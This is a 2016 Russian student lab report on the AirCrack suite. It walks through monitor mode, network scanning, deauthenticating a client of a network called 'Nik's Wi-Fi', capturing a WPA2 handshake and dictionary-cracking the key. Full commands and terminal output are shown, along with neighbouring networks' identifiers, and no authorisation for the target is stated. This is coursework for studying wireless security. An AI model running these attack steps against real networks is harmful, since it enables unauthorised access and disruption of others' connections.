#### Санкт-Петербургский государственный политехнический университет

Институт компьютерных наук и технологий

Кафедра компьютерных систем и программных технологий

# OTYET

о лабораторной работе №5

по дисциплине: «Информационная безопасность»

Тема работы: «Набор инструментов для аудита беспроводных сетей AirCrack»

Работу выполнил студент

53501/3  $Epo \partial m \ U.U.$ 

Преподаватель

\_\_\_\_\_ Вылегжанина К.Д.

Санкт-Петербург 2016

### 1. Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

Изучение

- 1) Изучить документацию по основным утилитам пакета airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.
- 2) Запустить режим мониторинга на беспроводном интерфейсе
- 3) Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, которые она может создавать

Практическое задание:

- 1) Запустить режим мониторинга на беспроводном интерфейсе
- 2) Запустить сбор трафика для получения аутентификационных сообщений
- 3) Если аутентификаций в сети не происходит в разумный промежуток времени, произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутенти- фикационных сообщений
- 4) Произвести взлом используя словарь паролей

## 2. Ход работы

#### 2.1. Основные утилиты пакета Aircrack

- Airodump-ng утилита, предназначенная для захвата пакетов протокола 802.11.
- Aireplay-ng утилита, для генерации трафика, необходимого для взлома при помощи утилиты aircrack-ng.
- Aircrack-ng утилита для взлома ключей WEP и WPA при помощи перебора по словарю.

# 2.2. Запуск режима мониторинга на беспроводном интерфейсе

```
bodrik@Bodrik-N53SV:~$ sudo airmon-ng start wlan0

Found 5 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

PID Name

PID Name

1202 avahi-daemon
```

```
10
  1203
            avahi-daemon
11
   1600
            NetworkManager
12
   1720
           wpa_supplicant
13
   1928
            dhclient
   Process with PID 1928 (dhclient) is running on interface wlan0
14
15
16
17
   Interface
                    Chipset
                                      Driver
18
19
                                      ath9k - [phy0]
   wlan0
                    Atheros
20
                                      (monitor mode enabled on mon0)
21
22
   bodrik@Bodrik-N53SV:~$
```

# 2.3. Запустить утилиту airodump и изучить форматы вывода этой утилиты

При указании ключа –write, утилита создает набор файлов с заданным префиксом. Два из которых связаны с информацией о доступных сетях и представлены в двух форматах: csv и xml. Еще два фала содержать информацию о перехваченных пакетах. Файл типа .cap содержит перехваченные пакеты, в то время как csv содержит лишь сокращенную информацию.

```
1 bodrik@Bodrik-N53SV:~$ ls dump-03*
2 dump-03.cap dump-03.csv dump-03.kismet.csv dump-03.kismet.netxml
```

# 3. Практическое задание

Запустим режим мониторинга на беспроводном интерфейсе

```
1 bodrik@Bodrik-N53SV:~$ sudo airodump-ng mon0
```

⊗ — □ File Edit View Search Terminal Help										
CH -1 ][ Elapsed: 16 s ][ 2016-06-29 08:12										
BSSID	PWR	Beacons #	Data,	#/s	СН	МВ	ENC	CIPHER	AUTH	ESSID
F8:D1:11:2E:60:E6	0	50	1	0	11	54e.	WPA2	CCMP	PSK	814
C0:4A:00:0F:95:00	0	82	0	0	11	54e.	WPA2	CCMP	PSK	aspir
60:E3:27:61:DB:E8	0	109	0	0	10	54e.	WPA2	CCMP	PSK	Darth
F8:1A:67:C5:62:A6	0	111	0	0	11	54e.	WPA2	CCMP	PSK	TP
54:A0:50:DB:CA:74	0	108	5	0	11	54e	WPA2	CCMP	PSK	pryga
C0:4A:00:BF:FE:22	0	158	0	0	11	54e.	WPA2	CCMP	PSK	712
14:CC:20:2C:FD:6E	0	91	0	0	11	54e.	WPA2	CCMP	PSK	Shobi
28:CF:E9:84:4D:EC	0	158	14	1	11	54e.	WPA2	CCMP	PSK	Nik's
AC:22:0B:54:D6:D8	0	162	9	0	11	54e	WPA2	CCMP	PSK	ASUS
F4:DC:F9:97:0B:28	0	146	0	0	11	54e	WPA2	CCMP	PSK	HUAWE
BC:EE:7B:31:21:A8	0	33	4	0	11	54e	WPA2	CCMP	PSK	AREN-
BSSID	STAT	ION	PWR	Ra	te	Los	t Pa	ckets	Probes	5
54:A0:50:DB:CA:74	30:1	0:E4:BA:1C:8	-1	0	e- 0		0	1		
28:CF:E9:84:4D:EC	84:8	E:DF:59:3B:7	E 0	0	- 0		0	1		
28:CF:E9:84:4D:EC	08:2	1:EF:59:AB:35	5 0	0	- 0		0	1		
28:CF:E9:84:4D:EC	74:2	F:68:1C:56:67	7 0	0	e- 0	e	0	14		

Рис. 1: airodump

Hac интересует сеть Nik's.

Запустим сбор трафика для получения аутентификационных сообщений:

```
1 bodrik@Bodrik-N53SV:~$ sudo airodump-ng mon0 --write airdump --bssid 28:CF:E9:84:4D:EC
```

```
File Edit View Search Terminal Help
CH -1 ][ Elapsed: 24 s ][ 2016-06-29 08:16
                                   #Data, #/s
                        Beacons
                                               CH
                                                   MB
28:CF:E9:84:4D:EC
                                                                    PSK Nik's Wi-Fi
                            242
                                      56
                                               11
                                                   54e. WPA2 CCMP
BSSID
                                      PWR
                                                    Lost Packets Probes
                   STATION
                                            Rate
                                             0 - 0
28:CF:E9:84:4D:EC 84:8E:DF:59:3B:7E
                                        0
                                                        0
                                                                 1
28:CF:E9:84:4D:EC 08:21:EF:59:AB:35
                                        0
                                             0 - 0
                                                        0
                                                                 1
28:CF:E9:84:4D:EC 74:2F:68:1C:56:67
                                        0
                                             0e- 0e
                                                        0
                                                                 73
```

Рис. 2: airodump

Произведем деаутентификацию одного из клиентов (клиента с MAC-адресом 84:8E:DF:59:3B:7E), до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений.

```
bodrik@Bodrik-N53SV:~$ sudo aireplay-ng --ignore-negative-one --
1
     deauth 150 -a 28:CF:E9:84:4D:EC -h 84:8E:DF:59:3B:7E mon0
   The interface MAC (74:2F:68:1C:56:67) doesn't match the specified MAC
2
       (-h).
3
           ifconfig mon0 hw ether 84:8E:DF:59:3B:7E
  08:21:03
             Waiting for beacon frame (BSSID: 28:CF:E9:84:4D:EC) on
4
     channel -1
  NB: this attack is more effective when targeting
5
6
  a connected wireless client (-c <client's mac>).
7
             Sending DeAuth to broadcast -- BSSID: [28:CF:E9:84:4D:EC]
   08:21:04
   08:21:04
             Sending DeAuth to broadcast -- BSSID: [28:CF:E9:84:4D:EC]
8
9
   08:21:05
             Sending DeAuth to broadcast -- BSSID: [28:CF:E9:84:4D:EC]
10
   08:21:05
             Sending DeAuth to broadcast -- BSSID: [28:CF:E9:84:4D:EC]
   08:21:05
             Sending DeAuth to broadcast -- BSSID: [28:CF:E9:84:4D:EC]
11
             Sending DeAuth to broadcast -- BSSID: [28:CF:E9:84:4D:EC]
12
   08:21:06
13
   08:21:06
             Sending DeAuth to broadcast -- BSSID: [28:CF:E9:84:4D:EC]
  08:21:07
             Sending DeAuth to broadcast -- BSSID: [28:CF:E9:84:4D:EC]
14
```

В результате перехватываем пакет handshake:

```
sudo airodump-ng mon1 --bssid 28:CF:E9:84:4D:EC -c 6 --write dump -- ignore-negative-one
```

```
⊗ — □ File Edit View Search Terminal Help

CH 6 ][ Elapsed: 32 s ][ 2016-06-29 08:26
                    PWR RXQ Beacons
                                         #Data, #/s
                                                     CH
                                                        MB
                                                              ENC CIPHER AUTH ESSID
28:CF:E9:84:4D:EC
                                                                           PSK Nik's Wi-Fi
                      0 100
                                  310
                                          3558
                                                  2
                                                     11
                                                         54e. WPA2 CCMP
BSSID
                    STATION
                                        PWR
                                              Rate
                                                      Lost Packets Probes
                                                                 3347
28:CF:E9:84:4D:EC
                   74:2F:68:1C:56:67
                                          0
                                               0e- 0
                                                        279
                                                                      Nik's Wi-Fi Network
28:CF:E9:84:4D:EC
                   84:8E:DF:59:3B:7E
                                                          0
                                                                  229
                                          0
                                               0e- 0
```

Рис. 3: airodump

Попробуем подобрать пароль, используя полученный пакет с рукопожатием. Для того, что бы взлом происходил быстрее, создадим свой словарь паролей (dict.dic).

```
1
  |bodrik@Bodrik-N53SV:~$ sudo aircrack-ng ./dump-01.cap -w dict.
      dicOpening ./dump-01.cap
2
   Opening ./dump-01.cap
3
   Opening ./dump-01.cap
   Read 9930 packets.
4
5
6
      BSSID
                           ESSID
                                                       Encryption
7
8
   1 28:CF:E9:84:4D:EC Nik's Wi-Fi Network
                                                                    WPA (1
      handshake)
9
10
   Choosing first network as target.
11
12
   Opening dump-03.cap
13
   Reading packets, please wait...
14
15
   Aircrack-ng 1.2 beta3
16
17
   [00:00:00] 1 keys tested (345.36 \text{ k/s})
18
19
20
21
   Current passphrase: ...
22
23
   KEY FOUND! [ ... ]
24
   KEY FOUND! [ ... ]
25
   45 OD 62 F4 FC 81 69 5F D1 1C 65 80 11 8A 1B OA
26
  Transient Key : 05 01 A0 F0 28 F2 D0 99 79 2B 09 94 38 93 04 7A
27
```

```
28 | 6F C3 75 6C 58 13 7C FB 22 17 99 00 8A 99 79 77
29 | B9 10 1C 39 DE 5C 0C 29 C5 1C 43 39 B2 06 F5 7B
30 | EAPOL HMAC : E9 D0 1B 6C F3 ED A4 F6 FC 83 5D BC 3C 6A 9F 00
```

В результате видим сообщение об успешно подобранном пароле, а так же сам пароль.

## 4. Выводы

В ходе данной работы были изучены основные возможности пакета AirCrack и принципы взлома WPA2 в режиме PSK. Данный инструмент позволяет прослушивать пакеты в беспроводной, генерировать новые, а так же осуществлять взлом пароля сети при помощи перебора по словарю.

В ходе работы было выяснено, что использование общеупотребимых (словарных) паролей значительно облегчает взлом беспроводной сети.